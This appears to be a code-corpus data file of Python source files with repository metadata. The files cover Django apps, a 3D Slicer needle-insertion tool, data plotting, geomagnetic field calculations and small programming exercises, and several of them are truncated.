def shout(word="yes"): return word.capitalize()+"!" print shout() # outputs : 'Yes!' # As an object, you can assign the function to a variable like any # other object scream = shout # Notice we don't use parentheses: we are not calling the function, we are # putting the function "shout" into the variable "screa...
[ "a.zacniewski@gmail.com" ]
a.zacniewski@gmail.com
2d8682112e73378bda15b48f3f96e82f212dda8b
96e2c852ce0ba975affacc90e31037dd3982ed4b
/BestPathVisualization/BestPathVisualizationLib/logic.py
0480871de29e0fdeecaad1423d664039cdf113d8
[]
no_license
StefanTUHH/robotic_needle_insertion
9d5c3883f36ce325952e08b130bc355028ad1578
0b54ebcf97a0946ec3ba99cfbaef1d471482c9d5
refs/heads/master
2023-07-10T12:04:53.801630
2021-09-01T07:08:34
2021-09-01T07:08:34
400,170,804
0
0
null
null
null
null
UTF-8
Python
false
false
33,514
py
import sys from itertools import compress from typing import Optional from numpy import linalg import time from multiprocessing import Process, cpu_count, Queue from . import overlay from .slicer_convenience_lib import * try: import sklearn from scipy.spatial import ConvexHull except ImportError: slicer.ut...
[ "stefan.gerlach@tuhh.de" ]
stefan.gerlach@tuhh.de
187daa4d61a1ac611a58cbcbda03db4114656f11
ea71a043e78c2fcbf1e9a39ff11eb39c699edd63
/core/views.py
4697547485e970b1daab5211e1a32ce427e7ff05
[]
no_license
wellvsilva/djangoecommerce
fcce49c57def11480b66187ed0343a3b552f81ec
1bd9edcc5bd28f3a2721a489d389ef17efd343c7
refs/heads/master
2021-01-11T04:40:27.050588
2016-10-17T14:08:50
2016-10-17T14:08:50
71,141,786
1
0
null
null
null
null
UTF-8
Python
false
false
307
py
from django.shortcuts import render from django.http import HttpResponse # Create your views here. def index(request): return render(request, 'index.html') def contact(request): return render(request, 'contact.html') #def product_list(request): # return render(request, 'product_list.html')
[ "wellvsilva.programador@gmail.com" ]
wellvsilva.programador@gmail.com
99efab2a162ffa1089de10df2b63c489eb0dbd71
48c9af57aa1956d15b7335ea88dfbd44333c3998
/df_project_generate/__init__.py
d2d8463aa3df2da968f70d43fa907d725e4d6949
[]
no_license
darfat/skp-jabar
eaf23685948fd6efd0604ef3a554b58a1cdd8bab
30861ae8eb1f37d1b3832043f297515f1a98b2e8
refs/heads/master
2021-01-22T13:12:16.658917
2014-10-06T09:11:54
2014-10-06T09:11:54
null
0
0
null
null
null
null
UTF-8
Python
false
false
974
py
############################################################################## # # Darmawan Fatriananda # BKD Pemprov Jabar # Copyright (c) 2014 <http://www.asdarfat.wordpress.com.com> # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General ...
[ "darmawan.jtk04@gmail.com" ]
darmawan.jtk04@gmail.com
3d07ff6fbbfb99a178b400de391131d5e603ea46
f389fb4ffdbdd71c108559ecbd269304706ef7c3
/tutorial3/tutorial3.py
c287234fad183ee5484e4dd94c18c31289128b2f
[]
no_license
petrLorenc/School-web-data-mining-tutorials
a04176add4cde37a0fec4d24f050d2169af52a18
d3d0c0a9e6945ac08fdd8f0b36661b9023ade044
refs/heads/master
2021-01-21T12:01:37.023238
2017-05-19T06:25:46
2017-05-19T06:25:46
91,772,927
0
0
null
null
null
null
UTF-8
Python
false
false
604
py
import nltk import networkx # input text text = None with open('text.txt', 'r') as f: text = f.read() # process text and convert to a graph sentences = [[t for t in nltk.word_tokenize(sentence)] for sentence in nltk.sent_tokenize(text)] G=nx.Graph() # G.add_node(... # G.add_edge(... # ... # visualise plt.fi...
[ "petr.lorenc@firma.seznam.cz" ]
petr.lorenc@firma.seznam.cz
a8ac5edd27c7ac2656e13272e14dc4959808b147
d4f7457a15472788821c31f3ffbbefc620e7984d
/student/migrations/0013_alter_project_upload_images.py
04373a559a4e521a42d067291e21dee28c0666b7
[]
no_license
shashiprajj/Resume_master
9d3a48650d66b0912742676ada41810274f2b8e3
3acc94b0bb5dd140ea1ecc2fba2550ef71a556ef
refs/heads/master
2023-07-02T15:14:18.578101
2021-08-07T20:21:21
2021-08-07T20:21:21
393,724,046
0
0
null
null
null
null
UTF-8
Python
false
false
433
py
# Generated by Django 3.2.3 on 2021-05-30 16:30 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('student', '0012_alter_project_upload_images'), ] operations = [ migrations.AlterField( model_name='project', name='u...
[ "shashiprajj@gmail.com" ]
shashiprajj@gmail.com
16646a3eed6770bf209dba69949d33c6bcd46b9e
f71601a72f5fe57b8e21f71093dde06bf30d609d
/coding_solutions/Day16(3-06-2020)/PrimeInterval.py
18446d9453565051fb5e83b99cd3d6c22745d631
[]
no_license
alvas-education-foundation/Dhanya-bhat
eb812fdd6ae28bf45d9db3d1f691f0abc2ef926e
aadf27ca7ed0832e215db1938201bb3896df327b
refs/heads/master
2022-12-02T07:59:01.386373
2020-08-10T13:11:50
2020-08-10T13:11:50
265,844,554
0
0
null
null
null
null
UTF-8
Python
false
false
249
py
l = int(input("Enter start point: ")) u = int(input("Enter end point: ")) for num in range(l,u + 1): if num > 1: for i in range(2,num): if (num % i) == 0: break else: print(num)
[ "dhanyabhat29@gmail.com" ]
dhanyabhat29@gmail.com
b8f08a33fc0e8b8ddaecb9b9c29a5e20c4da5e32
047a9613723e6477e68624cb9c3aeb08bc1d4c8a
/src/_plotter.py
ab49aa83c46f2b322db46519f364eb23f4f35037
[ "MIT" ]
permissive
phoenixding/cellar
512ca1c8fe580081b49ceadf7dfa81648739658d
4736b207e2b40a135f88cc2e677af620ea5ef20d
refs/heads/master
2023-02-22T05:42:30.902617
2021-01-31T16:39:20
2021-01-31T16:39:20
null
0
0
null
null
null
null
UTF-8
Python
false
false
5,346
py
from typing import Optional, Union import numpy as np import plotly.express as px from plotly.graph_objects import Figure from anndata import AnnData from .units import wrap from . import reduce_dim_vis from . import name_genes COLORS = [ '#cc5151', '#51cccc', '#337f7f', '#8ecc51', '#7f3333', '#597f33', '#8e51c...
[ "euxhen_hasanaj@ymail.com" ]
euxhen_hasanaj@ymail.com
deb20b06a842a226505f4352f62729b0865cad89
f0463eba4010126fc0574945c2f9b2cd6eb40cff
/Component/Windows.py
f5c0b35c5e82f1d6668ba09e042bf92cf2805776
[]
no_license
Choewonyeong/Standard_Project3
b572c3fbf2ac379980b95d7247c867f092b7a09d
155903d450c1da7355914c72aa07b8f23a03e336
refs/heads/master
2022-06-21T18:51:42.766380
2020-05-08T00:28:04
2020-05-08T00:28:04
262,183,273
0
0
null
null
null
null
UTF-8
Python
false
false
14,657
py
from PyQt5.QtCore import Qt from PyQt5.QtGui import QIcon, QPixmap from PyQt5.QtWidgets import QWidget, QAction, QMenu, QMenuBar, QLineEdit from PyQt5.QtWidgets import QDialog, QTableWidget, QTableWidgetItem, QLabel from PyQt5.QtWidgets import QMessageBox, QComboBox, QTabWidget, QFileDialog from PyQt5.QtWidgets import ...
[ "choewy@stdte.co.kr" ]
choewy@stdte.co.kr
505d970dbb3fbfed63db57de304445fbdbfe37c9
5d24987bce37f5e5ae60a4f550d0b5723ebe7718
/Preparing data/odata_download.py
1dd62c7c0425686f3392f16d70f405b6a10739ee
[]
no_license
saraheikonen/eutrophication-drivers
53e3c8138e4663cd0df1a54a47ee1a6b759ec652
fadc7e08252ff9d144aea768c7f4a1153e479762
refs/heads/main
2023-04-14T09:10:13.728341
2022-07-13T11:21:06
2022-07-13T11:21:06
504,433,294
0
0
null
null
null
null
UTF-8
Python
false
false
3,255
py
# -*- coding: utf-8 -*- """ Created on Fri Jun 18 13:11:46 2021 @author: sarah """ from selenium import webdriver from selenium.webdriver.support.ui import Select import geopandas as gpd import numpy as np import os # give paths to catchment shapefile (basins_path), to chromedriver.exe and where # to s...
[ "noreply@github.com" ]
saraheikonen.noreply@github.com
2e9bb71c6257e2923c9b3b65dbe3d1d47201c11e
795f88819c160f32c346e9698501957fa08cb743
/dataGenerator/dataGenerator.py
c2a6d8ae1256deca034ab146eeee2aeefe47c2e1
[ "MIT" ]
permissive
GwennaelBuchet/zenibar
367c9526c4cb447c5eb28ec7bd95e5f8be575213
ea7c8bcb287377ff416a80b477bce00b4edd63ad
refs/heads/master
2021-09-05T05:29:27.734597
2018-01-24T12:10:29
2018-01-24T12:10:29
115,437,079
0
0
null
null
null
null
UTF-8
Python
false
false
17,367
py
from datetime import datetime as _dt from datetime import date as _date from datetime import timedelta as _td import math import random import json class Beer: def __init__(self, id, brand, model, strongness, style, color, origin, price): self.id = id self.brand = brand self.model = model ...
[ "gwennael.buchet@gmail.com" ]
gwennael.buchet@gmail.com
444fd3d4ecdaaf0e9ceab752d1b0931729f02bbe
245b92f4140f30e26313bfb3b2e47ed1871a5b83
/airflow/providers/google_vendor/googleads/v12/errors/types/campaign_feed_error.py
7a1cbbf42dce80b65a8b1c81159737e23be143fb
[ "Apache-2.0", "BSD-3-Clause", "MIT" ]
permissive
ephraimbuddy/airflow
238d6170a0e4f76456f00423124a260527960710
3193857376bc2c8cd2eb133017be1e8cbcaa8405
refs/heads/main
2023-05-29T05:37:44.992278
2023-05-13T19:49:43
2023-05-13T19:49:43
245,751,695
2
1
Apache-2.0
2021-05-20T08:10:14
2020-03-08T04:28:27
null
UTF-8
Python
false
false
1,509
py
# -*- coding: utf-8 -*- # Copyright 2022 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or...
[ "noreply@github.com" ]
ephraimbuddy.noreply@github.com
18d4a948b0ca382c4d01997d274c1deb0cbccddf
b92226895d04b0258981864e8604720de9c09f4d
/src/utils.py
3200a377f749da6ea1b234e191737060009fa795
[ "BSD-3-Clause" ]
permissive
aydinmemis/blog_FastAPI
e42a6c4f5a9c64154da0f9a23290c274b305838a
f584634a2cd410904df6a7d9478044d269737a91
refs/heads/master
2022-04-06T12:37:59.068303
2020-03-11T18:04:14
2020-03-11T18:04:14
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,688
py
import logging from datetime import datetime, timedelta from pathlib import Path from typing import Optional import emails import jwt from emails.template import JinjaTemplate from jwt.exceptions import InvalidTokenError from core import config password_reset_jwt_subject = "preset" def send_email(email_to: str, su...
[ "socanime@gmail.com" ]
socanime@gmail.com
ab71c633041e9986b2c5cc1c8215e65f32c791a3
4db0fb43c3aacfb56619c91c21508fcccc5fc158
/Translation-stats/Translation-stats.py
484fd134f54e7c2ed8a0a05458e8038ba4a0d513
[]
no_license
xuchkang171/BoD-Translation-Zh
10913c5c1b06b6715ee32c59e7553c564886bf02
baa421441e08fc0b6991f14449e010862b382d1f
refs/heads/master
2021-08-28T08:16:41.371836
2017-10-29T08:48:53
2017-10-29T08:48:53
107,788,086
0
1
null
2017-12-11T17:18:06
2017-10-21T14:41:29
Python
UTF-8
Python
false
false
4,819
py
import re, os, io # Revise following two defines (language_code and r2g_path) before you start using this program. # Two-letter codes, represents the target language of translation you're working on. language_code = "zh" # Check https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes for yours. # Path of your R2G folde...
[ "xuchkang171@gmail.com" ]
xuchkang171@gmail.com
f59676ae9eac334e4b46372346f1f0b0d5844c4e
c60c199410289c1d7ec4aea00833b461e1f08f88
/27-29-nov-2014/day1/stringiter2.py
027138065a5897ed5823bf0d6c686f23c0a0f2de
[]
no_license
ver007/pythonjumpstart
66fb111e6af197fad3e853b2c2d712a1b57a7d59
5b1f52479abd07456e2da494149e491d398f3b7d
refs/heads/master
2021-01-21T01:34:35.501870
2015-05-13T14:10:13
2015-05-13T14:10:13
null
0
0
null
null
null
null
UTF-8
Python
false
false
95
py
__author__ = 'ravi' s = 'aeiou' i = 1 for char in s: print "{}".format(char*i) i += 1
[ "ravi@rootcap.in" ]
ravi@rootcap.in
7f394586d195a86c52647c95b64076218b61bfd6
395e06560c7b794a965add40c586684cb0b4e59c
/terrascript/ultradns/d.py
6fdcb1b3110014abb8abde0673bba426c6116dbf
[ "BSD-2-Clause", "Python-2.0" ]
permissive
alanyee/python-terrascript
f01edef3f6e21e5b18bc3295efef1657be17e3ca
e880e7650a7c3a88603d5429dafbacd28cd26c7e
refs/heads/develop
2023-03-09T07:33:32.560816
2020-09-21T07:11:09
2020-09-21T07:11:09
300,696,024
0
0
BSD-2-Clause
2021-02-18T00:33:30
2020-10-02T17:57:18
null
UTF-8
Python
false
false
28
py
# terrascript/ultradns/d.py
[ "ilon.sjogren@enplore.com" ]
ilon.sjogren@enplore.com
f9c5db59cf745e342ac21e9f1ee948e6452c7beb
c523eff326b8bc6c0c903bf7fe16ec3b98605bff
/choieungi/boj/다익스트라_우선순위큐.py
24bc8f468ea051c8473f4f4dbe8747fbce8c0e78
[]
no_license
IgoAlgo/Problem-Solving
c76fc157c4dd2afeeb72a7e4a1833b730a0b441d
5cc57d532b2887cf4eec8591dafc5ef611c3c409
refs/heads/master
2023-06-26T05:12:02.449706
2021-07-14T06:57:00
2021-07-14T06:57:00
328,959,557
2
1
null
null
null
null
UTF-8
Python
false
false
1,856
py
import heapq import sys input = sys.stdin.readline INF = int(1e9) # 무한을 의미하는 값으로 10억을 설정 # 노드의 개수, 간선의 개수를 입력받기 n, m = map(int, input().split()) # 시작 노드 번호를 입력받기 start = int(input()) # 각 노드에 연결되어 있는 노드에 대한 정보를 담는 리스트를 만들기 graph = [[] for i in range(n + 1)] # 최단 거리 테이블을 모두 무한으로 초기화 distance = [INF] * (n + 1) # 모든 간선 정...
[ "choieungi@gm.gist.ac.kr" ]
choieungi@gm.gist.ac.kr
e7d869dd783dc38a75347e17f4554bba94a9bb86
78957a573d0554b3476698bb3c9cc07eb17e17d9
/amplify/backend/function/awsamplifyauthstarte960f0db4/src/index.py
321b1c7bfee9e77e88013a581370dac7b9090996
[ "MIT-0" ]
permissive
BearTECH-Consulting-Inc/demo-phc-amplify-auth
a500275f94c512dd7b27d32e2c78553770c47181
e20a1e503397a3d0fe0f26d93850d5d6c1429775
refs/heads/main
2023-08-10T21:58:31.380914
2021-09-15T03:01:46
2021-09-15T03:01:46
406,576,487
0
0
null
null
null
null
UTF-8
Python
false
false
380
py
import json def handler(event, context): print('received event:') print(event) return { 'statusCode': 200, 'headers': { 'Access-Control-Allow-Headers': '*', 'Access-Control-Allow-Origin': '*', 'Access-Control-Allow-Methods': 'OPTIONS,POST,GET' }, 'body': ...
[ "cameron.hebert@opsguru.io" ]
cameron.hebert@opsguru.io
8dcb937ae42edefdcbf4daffa1f87a7d8005a663
66137e154dbe9b9f1d4056dd2cc06daedf2d27fe
/acs/acs_ygh_occupied_households_lacking_plumbing/static.py
e3c6298668e3537d2584f0f9d02f836b1eb831dd
[]
no_license
domsmo/datausa-acs-bamboo-etl
edb90504b2418e3ef2c1574cd270a5b54122a1d7
07cca23a9003719b1d8bc07c3c417253d68c9ba6
refs/heads/main
2023-08-31T23:20:56.598074
2021-10-23T07:40:14
2021-10-23T07:40:14
null
0
0
null
null
null
null
UTF-8
Python
false
false
129
py
DICT_RENAME = { 'B25048_002E': 'mea-0', 'B25048_003E': 'mea-1', 'B25048_002M': 'moe-0', 'B25048_003M': 'moe-1', }
[ "jelmyhermosilla@MacBook-Pro-de-jelmy.local" ]
jelmyhermosilla@MacBook-Pro-de-jelmy.local
eacf58fddef56680e7da230bfefdd089d05d179f
b786ad8fdf75f0e132affd40de5a6809628fa071
/venv/Scripts/easy_install-script.py
6ef1646d4956685bccb239122bfeb7fa8863c96a
[]
no_license
Bhuvan-Rm/WebScraping
e703c673b321cad716f6289248a1cb1d55434f7f
9a3f1c967d7e3dba82a975a72913902774c914c1
refs/heads/master
2020-09-07T11:32:10.197385
2019-12-14T09:56:36
2019-12-14T09:56:36
220,765,917
0
0
null
null
null
null
UTF-8
Python
false
false
442
py
#!A:\PycharmProjects\WebScraping\venv\Scripts\python.exe # EASY-INSTALL-ENTRY-SCRIPT: 'setuptools==40.8.0','console_scripts','easy_install' __requires__ = 'setuptools==40.8.0' import re import sys from pkg_resources import load_entry_point if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$',...
[ "bhuvaneshrm@gmail.com" ]
bhuvaneshrm@gmail.com
087e986ecd374552b6acb1cab52581815e712c5e
573f1901b444e35a616f10923751a52ffe1d66a3
/combine-audio-video/cmdline_merging.py
ba98b96a23885e1ae2d240756422375ac318113b
[ "MIT" ]
permissive
dracogamer123/pytube-implementation
9d6280efec214c3b76b3e9003dc3f2a2f8db5b1e
84c856441f91b0f15e9ec6918e879e0c720c42a7
refs/heads/master
2023-08-25T10:37:10.670027
2021-10-19T01:47:46
2021-10-19T01:47:46
null
0
0
null
null
null
null
UTF-8
Python
false
false
881
py
from pytube import YouTube def copy(video_path, audio_path, name, final_path): """ FFMPEG-COPY ------ video_path: path of video on disk audio_path: path of audio on disk name: name of output file final_path: path of output video on disk """ import ffmpeg video = ffmpeg.input(a...
[ "technotebook@yahoo.com" ]
technotebook@yahoo.com
ede5626aeb578a8f801688300ee8b55922c731a5
36e66b509260bf15266f89a7bcbbc8bc5a413d7f
/SinglePageApplication/SinglePageApplication/wsgi.py
412a6dd818aae42656f691bdaca7c55df352fc06
[]
no_license
Asdor1996/TestTable
66c18f54822bc55f71b95a55be2606c0d8cfdf32
09ba885af293743d3246fc03fcc34fa4bc5d7781
refs/heads/master
2023-04-24T06:40:46.580063
2021-05-18T12:42:22
2021-05-18T12:42:22
368,520,122
0
0
null
null
null
null
UTF-8
Python
false
false
419
py
""" WSGI config for SinglePageApplication project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/3.2/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault...
[ "quazun@yandex.ru" ]
quazun@yandex.ru
013b58beacb2a8913cad6063f400be40ffbc1cd4
a96874d67911e51e60e903776264350887e8e486
/first poroject
1ba8f1305b5518116d47c616486a06382bfd9016
[]
no_license
MRALAMs/first-project
284c1f72056f22ee60723805a888eef9436282a2
7db00d4b99a32b21e89979e4ccabc21b22f7abfb
refs/heads/master
2022-11-11T10:52:09.294997
2020-07-02T08:58:01
2020-07-02T08:58:01
276,602,043
0
0
null
null
null
null
UTF-8
Python
false
false
364
#! /usr/bin/python3 def moadel(math,physics,dini,exersise): return ((int(math)*3)+(int(physics)*4)+(int(dini)*2)+(int(exersise)*1))*0.1 mylist =["reza","ali","mohamad"] for i in range(len(mylist)): a=input("math score ? ") b=input("physics score ? ") c=input("dini score ? ") d=input("exersise score...
[ "mr.alamshah222@gmail.com" ]
mr.alamshah222@gmail.com
1d79b7801e234433e8bc93bd5f80827c3dfe3bb1
5bc2e45a8e8c256ab8ed332ebc5323eaac6631eb
/bandit/arch/analyzer/base_analyzer.py
64c6f93d9efdb8dffd3ae2e40a03c166f2a16775
[]
no_license
ru-fix/permanent_predictor
1ed4a31cdaaf42ec8e882d679ff68522845138cc
a7662d31f887a5a5edb45e7114a281ba039b8884
refs/heads/master
2023-06-01T01:28:59.580346
2021-06-22T21:16:09
2021-06-22T21:16:09
379,379,745
0
0
null
null
null
null
UTF-8
Python
false
false
5,833
py
from plotly.graph_objects import Figure from arch.analyzer.utils.graphic_container import GraphicContainer from consts import html_bases class BaseAnalyzer: def __init__(self, **kwargs): for key in kwargs: setattr(self, key, kwargs[key]) def __format_graphics(self, metrics): graph...
[ "rduryagin@fix.ru" ]
rduryagin@fix.ru
2bc9a632cf25a60f9ffb85dca3488916585b641e
732cf97fdd3b730938ed8fc383d8f6b0c82625bf
/examples/04_decoding/plot_discrete_decoders.py
e0b2aac1bf698e1a1b37b1cbe4e19b3321238f4a
[ "MIT" ]
permissive
akimbler/NiMARE
6c76980d0a008e99a6e2533e4b89de8d96f59ae1
717697035b04ff0244aa4aa170f5aa16a9fba69a
refs/heads/master
2022-12-09T05:17:22.041543
2020-08-08T21:10:07
2020-08-08T21:10:07
286,131,857
0
0
MIT
2020-08-08T23:00:19
2020-08-08T23:00:19
null
UTF-8
Python
false
false
2,291
py
# emacs: -*- mode: python-mode; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*- # ex: set sts=4 ts=4 sw=4 et: """ .. _decode1: ============================================================== Decode regions of interest and subsets of Datasets ============================================================== ...
[ "noreply@github.com" ]
akimbler.noreply@github.com
b2f11b75731687ccd8e4067434d56405c463a273
87b4fe9df1abab807dd772b9df81bab45c5bf97b
/locallibrary/catalog/views.py
4dd8b9c656691d24048eb8763b4ab905401a3c17
[]
no_license
KCK90/Project
191e0c87d6648497e9655da8700dd32654192724
3f734ed430a5f33d52aa4c5b2b7f31a99c4a28f5
refs/heads/master
2020-09-03T11:07:51.273842
2019-11-25T00:48:47
2019-11-25T00:48:47
219,449,889
0
0
null
2019-11-25T00:48:48
2019-11-04T08:15:10
Python
UTF-8
Python
false
false
916
py
from django.shortcuts import render import csv import pandas as pd # Create your views here. def post_list(request): return render(request, 'post_list.html', {}) def koty(request): print('About') return render(request, 'koty.html', {}) def analiza(request): return render(reques...
[ "noreply@github.com" ]
KCK90.noreply@github.com
ac365906676b84c1bb52b685f557dc14488325b5
57cf4f1a6da938b630039b2cab2ada2d017af82e
/clothing/migrations/0002_clothingitem_owner.py
eb6ae2805f508d12adac155523d61f125fcfdf23
[ "MIT" ]
permissive
shailevi23/iWear
babe5eb5bb281037bb9c434d25aac1e30185bcd8
4f28fd4aa4cc1a50695412bdf21fa5a0f174d554
refs/heads/main
2023-09-04T00:11:51.970694
2021-11-08T09:09:29
2021-11-08T09:09:29
425,762,550
0
0
null
null
null
null
UTF-8
Python
false
false
619
py
# Generated by Django 3.2.5 on 2021-07-28 19:14 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ('clot...
[ "aharoni94@gmail.com" ]
aharoni94@gmail.com
e6247400b23975a02a38404955166d70d6f867d6
f4e20f45fafae6cb0e6c21e2d47a2a31892c2408
/PythonExercicios/ex011.py
552c3fcf1c692efc57ffc779bbe4656321464e4c
[ "MIT" ]
permissive
andrei406/Meus-PycharmProjects-de-Iniciante
6e03accac46d75ee0973ae7e32fd059ddae59a82
6d59350eaa6538b68aca90046226cbc7b1f9f621
refs/heads/main
2023-03-01T22:18:08.141485
2021-02-07T14:06:06
2021-02-07T14:06:06
325,803,845
0
0
null
null
null
null
UTF-8
Python
false
false
193
py
h = float(input('Sua parede mede quantos metros de altura?')) l = float(input('E de comprimento?')) a = h * l print('\033[1;30mVocê vai precisar de {} litro(s) de tinta\033[m'.format(h / 2))
[ "76476855+andrei406@users.noreply.github.com" ]
76476855+andrei406@users.noreply.github.com
f84af80af296086f1881227d43ec06c829202f8e
0b699b4c6081b3b06acd0b64d8bb1f84bbb9c956
/manage.py
c04731a2df3f9d49fbdeabcd66b213e421d1e6cf
[]
no_license
rxy0424/django-learn
267d5b947e4d896cc2ddb29ef8b807342d5e0f84
735a6629911c1b455c0c68443031973f8b60593d
refs/heads/master
2021-01-20T06:12:03.705250
2017-04-30T13:17:00
2017-04-30T13:17:00
89,851,760
1
0
null
null
null
null
UTF-8
Python
false
false
802
py
#!/usr/bin/env python import os import sys if __name__ == "__main__": os.environ.setdefault("DJANGO_SETTINGS_MODULE", "ksxt.settings") try: from django.core.management import execute_from_command_line except ImportError: # The above import may fail for some other reason. Ensure that the ...
[ "rxy0424@gmail.com" ]
rxy0424@gmail.com
fa70a0452b646b1a21cf73baf1168baf012e94fb
089d3832f25c0e4167acd9f3ac692c78e808e1d6
/pymms/data/hapgood.py
6300784c2a9483074b59061ca11583b073a782e5
[ "MIT" ]
permissive
argallmr/pymms
ea135b57dd62370a0065680e573d09317e8575c0
69b2a0934f5fac548a47c6d9233cd345ea209b93
refs/heads/master
2023-07-22T17:48:35.022075
2023-07-06T19:49:55
2023-07-06T19:49:55
124,706,809
5
17
MIT
2020-05-31T02:52:15
2018-03-10T23:20:50
Python
UTF-8
Python
false
false
35,757
py
import numpy as np import pandas as pd from scipy.spatial.transform import Rotation as R from scipy.stats import binned_statistic from pathlib import Path # IGRF Coefficients sample_data_path = Path(__file__).parent / 'swfo' / 'data' igrf_coeff_file = sample_data_path / 'igrf13coeffs.txt' class IGRF_Coeff(): # Se...
[ "matthew.argall@unh.edu" ]
matthew.argall@unh.edu